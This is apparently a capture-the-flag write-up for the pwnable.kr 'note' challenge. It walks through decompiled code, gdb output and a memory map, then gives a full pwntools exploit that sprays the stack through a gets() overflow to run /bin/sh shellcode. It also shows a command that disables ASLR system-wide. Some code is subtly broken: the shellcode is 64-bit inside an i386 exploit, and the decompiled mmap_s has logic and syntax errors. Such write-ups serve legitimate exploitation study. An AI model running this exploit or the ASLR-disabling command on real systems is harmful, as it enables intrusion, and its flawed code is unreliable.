001
4/12/21
pwnable.kr - note - 4/12/21
this is my writeup for pwnable.kr's challenge, note. the description for this challenge is:
Check out my SECURITY PATCH for mmap().
despite no-ASLR setting, it will randomize memory layout.
so it will contribute for exploit mitigation.
wanna try sample application?
so it seems like it will randomize our virtual address spaces when loaded into memory with the mmap syscall. Since they only mentioned ASLR, i am assuming that they do not randomize the address of our binary within memory. This is important as the existece of PIE can prevent some techniques we previously had for bypassing ASLR. Though, it will not randomize the address of our heap or stack, which means they are still on a fixed location. This may be helpful later.
Also, something that should be noted is that ASLR is disabled on the remote system, which means we should probably do the same. You know the drill
echo 0 | tee /proc/sys/kernel/randomize_va_space
Lets first run the binary and inspect the output:
recently I noticed that in 32bit system with no ASLR,
mmap(NULL... gives predictable address
I believe this is not secure in terms of software exploit mitigation
so I fixed this feature and called mmap_s
please try out this sample note application to see how mmap_s works
you will see mmap_s() giving true random address despite no ASLR
I think security people will thank me for this :)
- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
ok, so according to the output, it seems we will have a function that will randomize the address space of libc. I am assuming this, due to the fact that it is the only important thing to randomize within virtual memory. That, or the binary itself which is not what ASLR does. We also seem to have a selection menu reminiscent of any heap related challenge. That is another small nitpick i have with those kinds of ctf challenges, they should not have just handed over control of the dynamic allocators without any form of struggle. I would enjoy them much more if they implemented some clever scenario in which we would actually be able to get that amount of control over dynamic memory. Anyways, it seems that the binary will present us with a menu to create, write, read, and delete notes. Lets reverse this binary to better understand how this mmap_s function works.
just as a heads up, i will be skipping over the reduntant functions like our menu. It will simply present us with the menu, our options, call scanf, then a switch statement to our options. Nothing of interest there, so i have skipped over it and decided to look at the important functions.
void create_note() {
int counter=0;
while (1) {
if (255 < counter) {
puts("memory sults are fool");
return;
}
if ((mem_arr[counter])==0) break;
// *(int32_t *)(obj.mem_arr + var_ch * 4) == 0)
counter++;
}
int ret_val = mmap_s(0, 0x1000, 7, 0x22, -1, 0);
printf("note created. no %d\n [%08x]", counter, ret_val);
}
void write_note() {
int input;
puts("note no?");
scanf("%d", &input);
clear_newlines();
if (input < 0x101) {
if (mem_arr[input]==0) { // *(int32_t *)(obj.mem_arr + var_ch * 4) == 0)
puts("Empty slut!");
} else {
puts("paste your note (MAX : 4096 byte)");
gets(mem_arr[input]); // buffer overflow vuln maybe!
} // *(int32_t *)(obj.mem_arr + var_ch * 4) == 0)
} else {
puts("Index out of range");
}
return;
}
void read_note() {
int input;
puts("note no?");
scanf("%d", &input);
clear_newlines();
if (input < 0x101) {
if ((mem_arr[input])==0) {
puts("empty slut!");
} else {
puts(mem_arr[input]);
}
}
return;
}
void delete_note() {
int input;
puts("note no?");
scanf("%d", &input);
clear_newlines();
if (input < 0x101) {
if ((mem_arr[input])==0) {
puts("already empty slut!);
} else {
munmap(mem_arr[input], 0x1000);
}
} else {
puts("index out of range");
}
}
as we can see, for each of our functions it will ask us for input, then perform the correct operation on our note. Our mem_arr will contain all the pointers to allocated memory by our create_note function which will first check if the array is empty. it will check mem_arr[0] if empty, if not, it will increment the counter, and move onto the next one, once it finds an empty entry in our array, it will then break out of the while loop and call mmap_s(), the final boss of this binary. It will then give us the index to our newly allocated note.
within the next few functions, we find a strange looking piece of code:
if *(int32_t *)(obj.mem_arr + var_ch * 4) == 0) {}
the reason you see this strange jarbled bunch of code within the comments of by decompilation is due to the fact that i believe that it is indexing to an array. I believe this due to the fact that in my time of reading disassembly over and over again, indexing always occurs by incrementing a pointer. In this case, the pointer is to the pointer to our array, obj.mem_arr. We can see that the type of our mem_arr array is int32, which is our normal 32 bit signed integer.
We now know the size of each index will be 4 bytes. now, as we can see it will add the pointer to mem_addr with our input(var_ch). Since we already know that the size of each value within this array is 4 bytes, we now know what the "* 4" is for. We are multiplying our input by 4, because an integer is 4 bytes.
So if we were to index mem_arr to 2, the code would look like this:
mem_arr[input];
assembler pseudocode representation:
mov rax, input ; input will be stored as local var on stack
mov rax, [rax*4+mem_arr] ; mem_arr will be stored as global variable in .data
the "* 4" operation still might be confusing you, so let me better elaborate on how this works. if we were to say:
mem_arr[1];
how would we access index 1? lets think, if an int data type is 4 bytes, we will have to increment our pointer to mem_arr up by 4 right? since that is how we get to the next value within our array?
okay, so we increment by 4, and now we are pointing to mem_arr[1];
so if we wanted to access [1], and "mem_arr + 4" got us there, how can we make this more efficient? lets try it again, except using the same, faster, solution.
input = 1;
mem_addr[input];
we will have a pointer to mem_addr + 4. But instead, we choose to use "1 * 4", and this equates to 4. ok cool, so how does this scale?
input = 2;
mem_addr[input];
2 * 4 = 8, and 8 bytes is the exact amount of bytes we need in order to index to [2]. I think we understand now.
each of these functions index the mem_arr array like this, it makes things a little more confusing, but this is why i usually prefer disassembly over decompilation. It will take a longer time, but nothing slips through your fingers.
An interesting thing that can be noted, is that our write_note() function uses gets to write to our note. This may cause security implications. The other functions do exactly what they imply, they will read and delete our notes if we provide an index. Lets not reverse the most interesting function within the binary:
// int ret_val = mmap_s(0, 0x1000, 7, 0x22, -1, 0);
int mmap_s(void *addr, int size, int arg_10h, int arg_14h, int arg_18h, void *arg_1ch) {
int ret, fd;
if ((addr == 0) && ((arg_14h & 0x10U) == 0) {
fd = open("/dev/urandom", 0);
if (fd==-1) {
exit(-1);
}
ret = read(fd, &addr, 4);
if (ret != 4) {
exit(-1);
}
close(fd);
addr = addr & 0x7ffff000 | 0x80000000;
while (ret = mmap(addr, size, arg_10h, MAP_ANONYMOUS | MAP_FIXED, fd, arg_1ch), ret == -1) {
// if memory already in use, increment pointer by 0x1000 bytes.
ret += 0x1000; // 0x1000 page size ; 4096
}
} else {
ret = mmap(addr, size, arg_10h, MAP_ANONYMOUS | MAP_FIXED, fd, arg_1ch);
}
return ret;
}
This is a very interesting function we have, it seems to be a wrapper for our mmap() system call. we can see that it will attempt to open /dev/urandom and read 4 random bytes from it. it will use that as a seed of sorts to randomize the address of our mmap'd memory. Other than our buffer overflow, we have one more vulnerability left on our list.
as we can see here, these are the representations of each mmap() option:
PROT_READ = 0x1 # /* Page can be read. */
PROT_WRITE = 0x2 # /* Page can be written. */
PROT_EXEC = 0x4 # /* Page can be executed. */
PROT_NONE = 0x0 # /* Page can not be accessed. */
MAP_SHARED = 0x01 # /* Share changes. */
MAP_PRIVATE = 0x02 # /* Changes are private. */
MAP_ANONYMOUS = 0x20 # /* Don't use a file. */
MAP_FIXED = 0x10 # /* Interpret addr exactly. */
if we check in the documentation of mmap(), we can see that the mmaped memory will be placed to wherever we specify through our addr dereference pointer parameter. If it attempts to find and return a pointer to a newly allocated piece of memory, and that memory has already been taken, we should be able to know where that is. Since it will return MAP_FAILED each time it fails, and will increment by 0x1000, which is 4096 bytes, which is a page.
Now lets see this in action, start the binary up in gdb and set a breakpoint before select_menu's ret.
gefβ€ disas select_menu
Dump of assembler code for function select_menu:
0x080488e5 <+0>: push ebp
0x080488e6 <+1>: mov ebp,esp
0x080488e8 <+3>: sub esp,0x428
0x080488ee <+9>: mov DWORD PTR [esp],0x8048d66
0x080488f5 <+16>: call 0x8048560 <puts@plt>
0x080488fa <+21>: mov DWORD PTR [esp],0x8048d76
0x08048901 <+28>: call 0x8048560 <puts@plt>
0x08048906 <+33>: mov DWORD PTR [esp],0x8048d85
0x0804890d <+40>: call 0x8048560 <puts@plt>
0x08048912 <+45>: mov DWORD PTR [esp],0x8048d93
0x08048919 <+52>: call 0x8048560 <puts@plt>
0x0804891e <+57>: mov DWORD PTR [esp],0x8048da0
0x08048925 <+64>: call 0x8048560 <puts@plt>
0x0804892a <+69>: mov DWORD PTR [esp],0x8048daf
0x08048931 <+76>: call 0x8048560 <puts@plt>
0x08048936 <+81>: mov eax,0x8048d0b
0x0804893b <+86>: lea edx,[ebp-0xc]
0x0804893e <+89>: mov DWORD PTR [esp+0x4],edx
0x08048942 <+93>: mov DWORD PTR [esp],eax
0x08048945 <+96>: call 0x80485e0 <__isoc99_scanf@plt>
0x0804894a <+101>: call 0x80486b4 <clear_newlines>
0x0804894f <+106>: mov eax,DWORD PTR [ebp-0xc]
0x08048952 <+109>: cmp eax,0x3
0x08048955 <+112>: je 0x8048989 <select_menu+164>
0x08048957 <+114>: cmp eax,0x3
0x0804895a <+117>: jg 0x8048968 <select_menu+131>
0x0804895c <+119>: cmp eax,0x1
0x0804895f <+122>: je 0x804897b <select_menu+150>
0x08048961 <+124>: cmp eax,0x2
0x08048964 <+127>: je 0x8048982 <select_menu+157>
0x08048966 <+129>: jmp 0x80489de <select_menu+249>
0x08048968 <+131>: cmp eax,0x5
0x0804896b <+134>: je 0x8048997 <select_menu+178>
0x0804896d <+136>: cmp eax,0x5
0x08048970 <+139>: jl 0x8048990 <select_menu+171>
0x08048972 <+141>: cmp eax,0x31337
0x08048977 <+146>: je 0x80489a5 <select_menu+192>
0x08048979 <+148>: jmp 0x80489de <select_menu+249>
0x0804897b <+150>: call 0x80486d0 <create_note>
0x08048980 <+155>: jmp 0x80489eb <select_menu+262>
0x08048982 <+157>: call 0x804876a <write_note>
0x08048987 <+162>: jmp 0x80489eb <select_menu+262>
0x08048989 <+164>: call 0x80487e9 <read_note>
0x0804898e <+169>: jmp 0x80489eb <select_menu+262>
0x08048990 <+171>: call 0x804885c <delete_note>
0x08048995 <+176>: jmp 0x80489eb <select_menu+262>
0x08048997 <+178>: mov DWORD PTR [esp],0x8048db7
0x0804899e <+185>: call 0x8048560 <puts@plt>
0x080489a3 <+190>: jmp 0x80489f0 <select_menu+267>
0x080489a5 <+192>: mov DWORD PTR [esp],0x8048dbc
0x080489ac <+199>: call 0x8048560 <puts@plt>
0x080489b1 <+204>: mov DWORD PTR [esp],0x8048ddc
0x080489b8 <+211>: call 0x8048560 <puts@plt>
0x080489bd <+216>: mov eax,ds:0x804b060
0x080489c2 <+221>: mov DWORD PTR [esp+0x8],eax
0x080489c6 <+225>: mov DWORD PTR [esp+0x4],0x401
0x080489ce <+233>: lea eax,[ebp-0x40c]
0x080489d4 <+239>: mov DWORD PTR [esp],eax
0x080489d7 <+242>: call 0x8048540 <fgets@plt>
0x080489dc <+247>: jmp 0x80489eb <select_menu+262>
0x080489de <+249>: mov DWORD PTR [esp],0x8048e17
0x080489e5 <+256>: call 0x8048560 <puts@plt>
0x080489ea <+261>: nop
0x080489eb <+262>: call 0x80488e5 <select_menu>
0x080489f0 <+267>: leave
0x080489f1 <+268>: ret
End of assembler dump.
gefβ€ b* 0x080489f1
Breakpoint 1 at 0x80489f1
gefβ€
now that we have set a breakpoint, we can start the binary and continue until we reach the menu
gefβ€ start
[+] Breaking at '{<text variable, no debug info>} 0x80489f2 <main>'
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers βββ
$eax : 0xf7f899a8 β 0xffffcf3c β 0xffffd152 β "SHELL=/usr/bin/zsh"
$ebx : 0x0
$ecx : 0x3d5b39b0
$edx : 0xffffcec4 β 0x00000000
$esp : 0xffffce88 β 0x00000000
$ebp : 0xffffce88 β 0x00000000
$esi : 0x1
$edi : 0x08048600 β <_start+0> xor ebp, ebp
$eip : 0x080489f5 β <main+3> and esp, 0xfffffff0
$eflags: [ZERO carry adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack βββ
0xffffce88β+0x0000: 0x00000000 β $esp, $ebp
0xffffce8cβ+0x0004: 0xf7db6a0d β <__libc_start_main+237> add esp, 0x10
0xffffce90β+0x0008: 0x00000001
0xffffce94β+0x000c: 0xffffcf34 β 0xffffd122 β "/root/research/pwn/pwnable.kr/rookiss/note/note"
0xffffce98β+0x0010: 0xffffcf3c β 0xffffd152 β "SHELL=/usr/bin/zsh"
0xffffce9cβ+0x0014: 0xffffcec4 β 0x00000000
0xffffcea0β+0x0018: 0xffffced4 β 0x74159da0
0xffffcea4β+0x001c: 0xf7ffdb78 β 0xf7ffdb10 β 0xf7f90300 β 0xf7ffd9b0 β 0x00000000
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:32 βββ
0x80489f1 <select_menu+268> ret
0x80489f2 <main+0> push ebp
0x80489f3 <main+1> mov ebp, esp
β 0x80489f5 <main+3> and esp, 0xfffffff0
0x80489f8 <main+6> sub esp, 0x10
0x80489fb <main+9> mov eax, ds:0x804b080
0x8048a00 <main+14> mov DWORD PTR [esp+0xc], 0x0
0x8048a08 <main+22> mov DWORD PTR [esp+0x8], 0x2
0x8048a10 <main+30> mov DWORD PTR [esp+0x4], 0x0
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads βββ
[#0] Id 1, Name: "note", stopped 0x80489f5 in main (), reason: BREAKPOINT
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace βββ
[#0] 0x80489f5 β main()
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€ c
Continuing.
welcome to pwnable.kr
recently I noticed that in 32bit system with no ASLR,
mmap(NULL... gives predictable address
I believe this is not secure in terms of software exploit mitigation
so I fixed this feature and called mmap_s
please try out this sample note application to see how mmap_s works
you will see mmap_s() giving true random address despite no ASLR
I think security people will thank me for this :)
- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
as we can see, we are prompted with our menu. We will create 2 notes, 1, and 1.
- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
1
note created. no 0
[9325f000]- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
1
note created. no 1
[c4830000]- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
now that we have created 2 notes, all a page size in length, which is 0x1000 or 4096 bytes in decimal, we can exit the program with the option 5, or SIGTERM. after that, we look at our memory map.
gefβ€ info proc mappings
process 8404
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804a000 0x2000 0x0 /root/research/pwn/pwnable.kr/rookiss/note/note
0x804a000 0x804b000 0x1000 0x1000 /root/research/pwn/pwnable.kr/rookiss/note/note
0x804b000 0x804c000 0x1000 0x2000 /root/research/pwn/pwnable.kr/rookiss/note/note
0x804c000 0x806e000 0x22000 0x0 [heap]
0x9325f000 0x93260000 0x1000 0x0
0xc4830000 0xc4831000 0x1000 0x0
0xf7d98000 0xf7db5000 0x1d000 0x0 /usr/lib32/libc-2.33.so
0xf7db5000 0xf7f12000 0x15d000 0x1d000 /usr/lib32/libc-2.33.so
0xf7f12000 0xf7f84000 0x72000 0x17a000 /usr/lib32/libc-2.33.so
0xf7f84000 0xf7f85000 0x1000 0x1ec000 /usr/lib32/libc-2.33.so
0xf7f85000 0xf7f87000 0x2000 0x1ec000 /usr/lib32/libc-2.33.so
0xf7f87000 0xf7f89000 0x2000 0x1ee000 /usr/lib32/libc-2.33.so
0xf7f89000 0xf7f92000 0x9000 0x0
0xf7fc5000 0xf7fc9000 0x4000 0x0 [vvar]
0xf7fc9000 0xf7fcb000 0x2000 0x0 [vdso]
0xf7fcb000 0xf7fcc000 0x1000 0x0 /usr/lib32/ld-2.33.so
0xf7fcc000 0xf7fee000 0x22000 0x1000 /usr/lib32/ld-2.33.so
0xf7fee000 0xf7ffb000 0xd000 0x23000 /usr/lib32/ld-2.33.so
0xf7ffb000 0xf7ffd000 0x2000 0x2f000 /usr/lib32/ld-2.33.so
0xf7ffd000 0xf7ffe000 0x1000 0x31000 /usr/lib32/ld-2.33.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
gefβ€
as we can see, just below our heap, there resides 2 chunks of memory both with the size of 0x1000. this was helpful in visualizing exactly how and where our mmap'd memory will end up, and provides us with a better understanding of the layout of our program.
Now that we understand how this binary works, i will walk you through the steps for my solution. I will explain each step along the way due to the fact that i want this to be brief.
There is no ASLR enabled, which means the virtual address spaces of our program wont be random We are allowed to allocate, read, and write to memory by using the menu to work with "notes" This space that has been used to mmap had not changed the permissions of that memory with mprotect() We are also able to allocate a massive amount of data, 1 page per allocation/note, and we have 255 We will be able to overwrite the stack eventually, another thing that should be noted, is that each time we allocate a new note, the value of our rsp/stack pointer will decrease by 0x430. Here is the final exploit:
#!/usr/bin/env python3
from pwn import *
from sys import argv, exit
from time import sleep
if __name__ == "__main__":
try:
if len(argv)>1 and argv[1]=="-r":
conn=ssh("note", "pwnable.kr", port=2222, password='guest')
p=conn.process("./note",cwd='/home/note')
elif argv[1]=="-rp":
conn=ssh("note", "pwnable.kr", port=2222, password='guest')
p=conn.remote("127.0.0.1", 9019)
elif argv[1]=="-l":
p=process('./note')
except IndexError:
print("Usage: python3 %s [-r] [-rp] [-l]"%argv[0])
print("-r \tremote\n-rp\tremote priv\n-l \tlocal")
exit(0)
context(arch='i386',os='linux', log_level='DEBUG')
shellcode=b"\x90"*10 + b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
log.warning("sleeping until binary menu finishes")
## define important variables
ind=0
static_stack_addr=0xfffdd000
### allocate note and get address
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil(" [")
shellcode_addr = int(p.recvline().split(b"]")[0],16)
log.info("Allocated note and leaked address: %s"%hex(shellcode_addr))
log.info("writing shellcode to address")
### sending shellcode to index[0] of notes and brute force stack
p.sendline("2")
p.recvuntil("note no?\n")
p.sendline(str(ind))
p.recvuntil("e)\n")
p.sendline(shellcode)
while 1:
if ind==255:
ind=1
for i in range(1,256):
p.recvuntil("exit\n")
p.sendline("4")
p.recvuntil("?\n")
p.sendline(str(i))
static_stack_addr-=0x430*254
p.recvuntil("exit\n")
p.sendline("1")
p.recvuntil("[")
leak=int(p.recvline().split(b"]")[0], 16)
if static_stack_addr<leak:
break
ind+=1
static_stack_addr-=0x430
p.recvuntil("exit\n")
p.sendline("2")
p.recvuntil("no?\n")
p.sendline(str(ind))
p.recvuntil("e)\n")
p.sendline(p32(shellcode_addr) * 1024)
#p.interactive()
p.recvuntil("exit\n")
p.sendline("5") # ret
p.interactive()
sources:
https://stackoverflow.com/questions/60487664/is-merging-pages-allowed-in-mmap
https://stackoverflow.com/questions/14943990/overlapping-pages-with-mmap-map-fixed
https://linux.die.net/man/2/mmap
https://man7.org/linux/man-pages/man2/mmap.2.html
https://stackoverflow.com/questions/33620545/mmaping-multiple-anonymous-pages-in-c
https://stackoverflow.com/questions/22485351/does-mmap-allocate-a-page-or-part-of-a-page
Last updated
Was this helpful?